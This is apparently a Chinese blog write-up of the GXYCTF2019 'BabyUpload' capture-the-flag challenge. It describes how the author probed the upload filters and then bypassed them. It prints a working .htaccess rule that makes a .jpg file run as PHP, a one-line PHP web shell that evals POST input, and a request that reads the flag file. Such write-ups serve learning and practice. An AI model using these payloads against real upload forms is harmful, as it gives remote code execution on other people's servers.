首页 > 技术文章 > [GXYCTF2019]BabyUpload

ersuani 2021-01-03 21:02 原文

0x01知道允许的后缀

u1s1,这道题,上传jpg、png、gif文件都失败了,都提示我文件类型露骨。直到最后尝试上传一个,很小的图片文件(最后在github上看到源码,要求小于2kb),才上传成功。这也是本题最苟的一点。

同理,在上传很小的png时,失败了,经过实际测试,这里卡的是Content-Type。

0x02知道上传限制

上传php一句话时候,页面回显,后缀不允许有ph,通过修改后缀和Content-Type时,页面回显还是php。测试后发现过滤了<?

那么这道题的上传限制也就是上传的文件后缀不允许出现ph、Content-Type=image/jpeg、文件内容中也不允许出现<?。知道上传的限制就很好做题了。

0x03 上传马获取flag

通过404报错页面可以知道用的服务器是apache,上传一个.htaccess配置文件,允许服务器把123.jpg文件解析为php

<FilesMatch "123.jpg">
setHandler application/x-httpd-php
</FilesMatch>

上传一个图片马就123.jpg

<script language='php'>@eval($_POST['shell']);</script>

命令执行:即可得到flag,也可以菜刀连

http://****/upload/46e17035a9367a5a1aaf1911ffce8817/123.jpg?shell=show_source(%27/flag%27);

推荐阅读